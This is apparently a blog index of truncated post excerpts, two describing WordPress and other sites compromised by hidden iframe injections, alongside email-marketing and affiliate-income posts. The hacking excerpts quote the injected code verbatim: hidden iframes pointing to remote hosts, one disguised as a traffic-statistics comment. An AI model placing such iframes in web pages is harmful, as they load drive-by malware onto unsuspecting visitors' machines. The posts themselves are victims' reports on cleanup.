All my sites on Hostgator got attacked by iframe hack

At 7 pm tonight my students emailed me that our blog was down. I checked immediately for an attack, and found that all the index.php and index.html files were altered an 18:46 EST, and a line of code was added either after the starting body tag or at the very end of the code <iframe src="http://a6t.homeftp.net:8080/ts/in.cgi?open" width=230 height=0 style="visibility: hidden"></iframe> do not go there... I Googled the topic and found that some Russian hackers have created keylogger …

Internet Marketing Case Study Part 3

… ISP. Yahoo is an ISP. Hotmail is and ISP. Aol is an ISP. I found only 175, circa 10% gmail accounts. 100 of them came from Diana's 2,000. Hmmm. Interesting. In my experience, any internet marketing list has at least 30% gmail emails... and it is also my experience, that gmail is the most deliverable email address given Google's very good spam filter that does not catch many legitimate emails as spam. 8161 yahoo, 813 hotmail 221 aol I emailed the yahoo people from my yahoo accounts. The rest of …

Follow up to "Trojan on WordPress Blog" article

OK, I thought I was safe... (don't we all?) Except... one of my blogs, http://www.sophieschoice.org was attacked. Google flagged it, it took me a long time to even get to it... on the back door. I searched for the iframe tags, removed them all, notified Google that it was cleaned. In about 2 weeks they removed the block... today I checked it, and there you go, another trojan, this time it says: <!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 …

Affiliate Marketing Success and other Stories

… up to be an affiliate. I made a few sales here and there, but every month I learned a little bit more about marketing, Google adwords, etc. and every time I learned something, I immediately put it into practice with the Healing Codes affiliate program. I watched a webinar 5 months ago, and the rest happened: The past 4 months the commission, grew $400 every month. Why always 400? Beats me. So I have gotten accustomed to the income, they paid directly to my checking account… until the 8th …